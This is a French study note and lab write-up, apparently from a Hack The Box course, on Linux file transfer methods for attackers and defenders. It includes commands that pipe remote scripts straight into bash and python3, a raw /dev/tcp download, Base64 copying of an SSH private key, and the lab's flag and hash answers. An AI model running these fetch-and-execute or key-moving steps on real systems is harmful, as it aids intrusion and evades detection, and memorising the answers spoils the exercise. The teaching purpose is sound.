Linux File Transfer Methods
Linux est un systĂšme dâexploitation polyvalent qui propose de nombreux outils pour effectuer des transferts de fichiers. Comprendre ces mĂ©thodes permet aussi bien aux attaquants quâaux dĂ©fenseurs dâamĂ©liorer leurs compĂ©tences, quâil sâagisse dâattaquer un rĂ©seau ou de prĂ©venir des attaques sophistiquĂ©es.
đŻ Contexte dâattaque : transfert de fichiers malveillants
Lors dâune intervention de rĂ©ponse Ă incident sur plusieurs serveurs web, nous avons dĂ©couvert que des attaquants exploitaient une vulnĂ©rabilitĂ© SQL Injection. Ces attaquants utilisaient un script Bash qui tentait de tĂ©lĂ©charger un second malware, lequel se connectait ensuite au serveur de commande et contrĂŽle (C2) des attaquants.
Le script Bash tentait successivement trois méthodes de téléchargement :
cURL
wget
Python
Toutes communiquaient via HTTP. MĂȘme si Linux peut utiliser dâautres protocoles comme FTP ou SMB (plus typiques de Windows), la majoritĂ© des malwares, sur tous systĂšmes, privilĂ©gient HTTP/HTTPS pour leurs communications.
đ Aperçu des mĂ©thodes de transfert de fichiers sous Linux
Dans cette section, nous allons étudier plusieurs méthodes pour transférer des fichiers sous Linux, incluant :
HTTP via wget, curl
Base64
Bash (/dev/tcp)
SSH / SCP
Transferts "fileless" (sans sauvegarde sur disque)
1. đ Transfert de fichiers via encodage Base64 (sans rĂ©seau)
Lorsque la taille du fichier Ă transfĂ©rer est raisonnable et quâon dispose dâun terminal, il est possible dâutiliser base64 pour encoder un fichier en chaĂźne de caractĂšres, la copier, puis la dĂ©coder sur la machine cible.
Exemple : transférer une clé SSH
Vérifier le hash MD5 de la clé sur la source
md5sum id_rsa
# Résultat : 4e301756a07ded0a2dd6953abf015278 id_rsa
Encoder le fichier en Base64, en une seule ligne pour faciliter la copie
bashCopierModifiercat id_rsa | base64 -w 0; echo
(Cette commande produit une longue chaĂźne base64)
Sur la machine cible, décoder la chaßne pour recréer le fichier
echo -n 'CHAINE_BASE64' | base64 -d > id_rsa
Vérifier que le hash MD5 du fichier est identique
bashCopierModifiermd5sum id_rsa
# RĂ©sultat doit ĂȘtre identique : 4e301756a07ded0a2dd6953abf015278 id_rsa
Remarque : Cette méthode ne nécessite aucune communication réseau directe.
2. đ TĂ©lĂ©chargement HTTP avec wget et cURL
Les deux outils les plus courants sous Linux pour interagir avec des ressources web sont wget et curl. Ils sont généralement préinstallés.
Télécharger un fichier avec wget
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh
Télécharger un fichier avec cURL
curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
3. ⥠Attaques sans fichier (fileless attacks)
Linux permet, grĂące Ă ses pipes (|
), dâexĂ©cuter des scripts directement sans les sauvegarder sur disque.
Exécuter un script Bash directement avec cURL
curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash
Exécuter un script Python directement avec wget
wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
# Affiche : Hello World!
Note : Certaines payloads peuvent malgré tout créer des fichiers temporaires sur le systÚme.
4. đĄ TĂ©lĂ©chargement avec Bash via /dev/tcp
/dev/tcp
Si les outils classiques manquent, et si Bash est compilé avec le support des redirections réseau (--enable-net-redirections
), on peut utiliser le pseudo-fichier /dev/tcp
pour réaliser des connexions TCP simples.
Exemple : connexion et requĂȘte HTTP
exec 3<>/dev/tcp/10.10.10.32/80
echo -e "GET /LinEnum.sh HTTP/1.1\n\n" >&3
cat <&3
Cette mĂ©thode permet de rĂ©cupĂ©rer le contenu dâun fichier via une requĂȘte HTTP brute.
5. đ Transfert sĂ©curisĂ© via SSH et SCP
SSH permet un accÚs sécurisé à distance. Le protocole SCP (Secure Copy) utilise SSH pour transférer des fichiers de maniÚre sécurisée.
Copier un fichier de la machine locale vers une machine distante
scp /chemin/fichier user@IP_distante:/chemin/destination
Copier un fichier de la machine distante vers la machine locale
scp user@IP_distante:/chemin/fichier /chemin/destination_locale
Activer et démarrer le serveur SSH sur une machine Linux
sudo systemctl enable ssh
sudo systemctl start ssh
VĂ©rifier que le port SSH est Ă lâĂ©coute
netstat -lnpt | grep ssh
â ïž Points importants Ă retenir
Les méthodes HTTP (wget, curl) sont trÚs répandues chez les attaquants et défenseurs car elles sont souvent disponibles et passent souvent à travers les firewalls.
Les transferts "fileless" sont pratiques pour éviter de laisser des traces sur le disque.
Base64 est une méthode simple mais peu adaptée aux fichiers volumineux.
SSH/SCP reste la méthode la plus sûre pour les transferts légitimes.
La méthode
/dev/tcp
peut ĂȘtre utile dans les environnements restreints, mais nĂ©cessite une configuration spĂ©cifique de Bash.
đ Ressources utiles
Download the file flag.txt from the web root using Python from the Pwnbox. Submit the contents of the file as your answer.
Nous récupérons le contenu du fichier flag.txt
présent sur notre cible à l'aide de wget
:
$ wget 10.129.234.168/flag.txt
Connecting to 10.129.234.168:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 33 [text/plain]
Saving to: âflag.txtâ
flag.txt 100%[===================>] 33 --.-KB/s in 0s
2025-07-02 05:24:41 (7.41 MB/s) - âflag.txtâ saved [33/33]
$ cat flag.txt
5d21cf3da9c0ccb94f709e2559f3ea50
Nous obtenons alors le flag attendu :
5d21cf3da9c0ccb94f709e2559f3ea50
Upload the attached file named upload_nix.zip to the target using the method of your choice. Once uploaded, SSH to the box, extract the file, and run "hasher " from the command line. Submit the generated hash as your answer.
Nous téléchargeons sur notre cible le fichier zip attendu et nous ouvrons un serveur python afin de pouvoir récupérer le fichier sur notre cible par la suite :
$ wget https://academy.hackthebox.com/storage/modules/24/upload_nix.zip
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: âupload_nix.zipâ
upload_nix.zip 100%[===================>] 194 --.-KB/s in 0s
2025-07-02 05:30:16 (264 MB/s) - âupload_nix.zipâ saved [194/194]
$ ls
flag.txt upload_nix.zip
$ python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
Nous nous connectons Ă distance Ă notre cible via SSH :
$ ssh htb-student@10.129.234.168
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
htb-student@10.129.234.168's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-47-generic x86_64)
Last login: Wed Sep 9 22:42:43 2020 from 10.10.14.4
htb-student@nix04:~$
Une fois connectés, nous récupérons sur notre cible le fichier zip présent sur notre machine attaquante :
$ wget 10.10.14.171:8080/upload_nix.zip -O upload_nix.zip
--2025-07-02 10:33:59-- http://10.10.14.171:8080/upload_nix.zip
Connecting to 10.10.14.171:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 194 [application/zip]
Saving to: âupload_nix.zipâ
upload_nix.zip 100%[===================>] 194 --.-KB/s in 0s
2025-07-02 10:33:59 (13.2 MB/s) - âupload_nix.zipâ saved [194/194]
Nous pouvons maintenant essayer d'extraire l'archive :
htb-student@nix04:~$ unzip upload_nix.zip
Command 'unzip' not found, but can be installed with:
apt install unzip
Please ask your administrator.
Nous observons alors que nous ne pouvons pas extraire notre fichier sur notre cible. Nous le faisons donc sur notre machine attaquante l'extraction de l'archive et récupérons le contenu de cette archive sur notre cible. Extraction de l'archive sur notre poste attaquant :
$ unzip upload_nix.zip
Archive: upload_nix.zip
extracting: upload_nix.txt
Récupération de ce fichier texte sur notre cible à l'aide du serveur http lancé sur le poste attaquant à l'aide de python :
htb-student@nix04:~$ wget 10.10.14.171:8080/upload_nix.txt -O upload_nix.txt
--2025-07-02 10:40:41-- http://10.10.14.171:8080/upload_nix.txt
Connecting to 10.10.14.171:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 32 [text/plain]
Saving to: âupload_nix.txtâ
upload_nix.txt 100%[===================>] 32 --.-KB/s in 0s
2025-07-02 10:40:41 (2.77 MB/s) - âupload_nix.txtâ saved [32/32]
Utilisation de la commande hasher
sur le fichier texte récupéré :
htb-student@nix04:~$ hasher upload_nix.txt
159cfe5c65054bbadb2761cfa359c8b0
Nous obtenons donc le hash du fichier upload_nix.txt
:
159cfe5c65054bbadb2761cfa359c8b0
Mis Ă jour